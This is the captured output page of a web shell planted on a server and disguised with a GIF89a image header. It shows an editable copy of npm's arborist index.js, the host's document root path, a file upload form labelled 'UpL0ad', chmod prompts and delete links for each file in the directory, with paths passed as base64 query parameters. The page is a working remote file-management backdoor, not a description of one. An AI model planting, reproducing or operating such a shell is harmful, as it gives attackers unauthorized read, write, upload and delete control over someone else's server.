GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>index.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q%3D&f=aW5kZXguanM%3D"><input name="f" value="index.js"><textarea name="t">// The arborist manages three trees:
// - actual
// - virtual
// - ideal
//
// The actual tree is what's present on disk in the node_modules tree
// and elsewhere that links may extend.
//
// The virtual tree is loaded from metadata (package.json and lock files).
//
// The ideal tree is what we WANT that actual tree to become.  This starts
// with the virtual tree, and then applies the options requesting
// add/remove/update actions.
//
// To reify a tree, we calculate a diff between the ideal and actual trees,
// and then turn the actual tree into the ideal tree by taking the actions
// required.  At the end of the reification process, the actualTree is
// updated to reflect the changes.
//
// Each tree has an Inventory at the root.  Shrinkwrap is tracked by Arborist
// instance.  It always refers to the actual tree, but is updated (and written
// to disk) on reification.

// Each of the mixin &quot;classes&quot; adds functionality, but are not dependent on
// constructor call order.  So, we just load them in an array, and build up
// the base class, so that the overall voltron class is easier to test and
// cover, and separation of concerns can be maintained.

const { resolve } = require('path')
const { homedir } = require('os')
const { depth } = require('treeverse')
const { saveTypeMap } = require('../add-rm-pkg-deps.js')

const mixins = [
  require('../tracker.js'),
  require('./pruner.js'),
  require('./deduper.js'),
  require('./audit.js'),
  require('./build-ideal-tree.js'),
  require('./load-workspaces.js'),
  require('./load-actual.js'),
  require('./load-virtual.js'),
  require('./rebuild.js'),
  require('./reify.js'),
]

const _workspacesEnabled = Symbol.for('workspacesEnabled')
const Base = mixins.reduce((a, b) =&gt; b(a), require('events'))
const getWorkspaceNodes = require('../get-workspace-nodes.js')

// if it's 1, 2, or 3, set it explicitly that.
// if undefined or null, set it null
// otherwise, throw.
const lockfileVersion = lfv =&gt; {
  if (lfv === 1 || lfv === 2 || lfv === 3) {
    return lfv
  }

  if (lfv === undefined || lfv === null) {
    return null
  }

  throw new TypeError('Invalid lockfileVersion config: ' + lfv)
}

class Arborist extends Base {
  constructor (options = {}) {
    process.emit('time', 'arborist:ctor')
    super(options)
    this.options = {
      nodeVersion: process.version,
      ...options,
      path: options.path || '.',
      cache: options.cache || `${homedir()}/.npm/_cacache`,
      packumentCache: options.packumentCache || new Map(),
      workspacesEnabled: options.workspacesEnabled !== false,
      replaceRegistryHost: options.replaceRegistryHost,
      lockfileVersion: lockfileVersion(options.lockfileVersion),
      installStrategy: options.global ? 'shallow' : (options.installStrategy ? options.installStrategy : 'hoisted'),
    }
    this.replaceRegistryHost = this.options.replaceRegistryHost =
      (!this.options.replaceRegistryHost || this.options.replaceRegistryHost === 'npmjs') ?
        'registry.npmjs.org' : this.options.replaceRegistryHost

    this[_workspacesEnabled] = this.options.workspacesEnabled

    if (options.saveType &amp;&amp; !saveTypeMap.get(options.saveType)) {
      throw new Error(`Invalid saveType ${options.saveType}`)
    }
    this.cache = resolve(this.options.cache)
    this.path = resolve(this.options.path)
    process.emit('timeEnd', 'arborist:ctor')
  }

  // TODO: We should change these to static functions instead
  //   of methods for the next major version

  // returns an array of the actual nodes for all the workspaces
  workspaceNodes (tree, workspaces) {
    return getWorkspaceNodes(tree, workspaces)
  }

  // returns a set of workspace nodes and all their deps
  workspaceDependencySet (tree, workspaces, includeWorkspaceRoot) {
    const wsNodes = this.workspaceNodes(tree, workspaces)
    if (includeWorkspaceRoot) {
      for (const edge of tree.edgesOut.values()) {
        if (edge.type !== 'workspace' &amp;&amp; edge.to) {
          wsNodes.push(edge.to)
        }
      }
    }
    const wsDepSet = new Set(wsNodes)
    const extraneous = new Set()
    for (const node of wsDepSet) {
      for (const edge of node.edgesOut.values()) {
        const dep = edge.to
        if (dep) {
          wsDepSet.add(dep)
          if (dep.isLink) {
            wsDepSet.add(dep.target)
          }
        }
      }
      for (const child of node.children.values()) {
        if (child.extraneous) {
          extraneous.add(child)
        }
      }
    }
    for (const extra of extraneous) {
      wsDepSet.add(extra)
    }

    return wsDepSet
  }

  // returns a set of root dependencies, excluding dependencies that are
  // exclusively workspace dependencies
  excludeWorkspacesDependencySet (tree) {
    const rootDepSet = new Set()
    depth({
      tree,
      visit: node =&gt; {
        for (const { to } of node.edgesOut.values()) {
          if (!to || to.isWorkspace) {
            continue
          }
          for (const edgeIn of to.edgesIn.values()) {
            if (edgeIn.from.isRoot || rootDepSet.has(edgeIn.from)) {
              rootDepSet.add(to)
            }
          }
        }
        return node
      },
      filter: node =&gt; node,
      getChildren: (node, tree) =&gt;
        [...tree.edgesOut.values()].map(edge =&gt; edge.to),
    })
    return rootDepSet
  }
}

module.exports = Arborist
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/@npmcli/arborist/lib/arborist<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWI="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&x=YXVkaXQuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=YXVkaXQuanM="/>audit.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=YXVkaXQuanM=&c=`+btoa(c):0" value="0644"></td><td>1318</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&x=YnVpbGQtaWRlYWwtdHJlZS5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=YnVpbGQtaWRlYWwtdHJlZS5qcw=="/>build-ideal-tree.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=YnVpbGQtaWRlYWwtdHJlZS5qcw==&c=`+btoa(c):0" value="0644"></td><td>55203</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&x=ZGVkdXBlci5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=ZGVkdXBlci5qcw=="/>deduper.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=ZGVkdXBlci5qcw==&c=`+btoa(c):0" value="0644"></td><td>594</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&x=aW5kZXguanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=aW5kZXguanM="/>index.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=aW5kZXguanM=&c=`+btoa(c):0" value="0644"></td><td>5348</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&x=bG9hZC1hY3R1YWwuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=bG9hZC1hY3R1YWwuanM="/>load-actual.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=bG9hZC1hY3R1YWwuanM=&c=`+btoa(c):0" value="0644"></td><td>15508</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&x=bG9hZC12aXJ0dWFsLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=bG9hZC12aXJ0dWFsLmpz"/>load-virtual.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=bG9hZC12aXJ0dWFsLmpz&c=`+btoa(c):0" value="0644"></td><td>10503</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&x=bG9hZC13b3Jrc3BhY2VzLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=bG9hZC13b3Jrc3BhY2VzLmpz"/>load-workspaces.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=bG9hZC13b3Jrc3BhY2VzLmpz&c=`+btoa(c):0" value="0644"></td><td>800</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&x=cHJ1bmVyLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=cHJ1bmVyLmpz"/>pruner.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=cHJ1bmVyLmpz&c=`+btoa(c):0" value="0644"></td><td>893</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&x=cmVidWlsZC5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=cmVidWlsZC5qcw=="/>rebuild.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=cmVidWlsZC5qcw==&c=`+btoa(c):0" value="0644"></td><td>12749</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&x=cmVpZnkuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=cmVpZnkuanM="/>reify.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQG5wbWNsaS9hcmJvcmlzdC9saWIvYXJib3Jpc3Q=&f=cmVpZnkuanM=&c=`+btoa(c):0" value="0644"></td><td>56321</td></tr></table>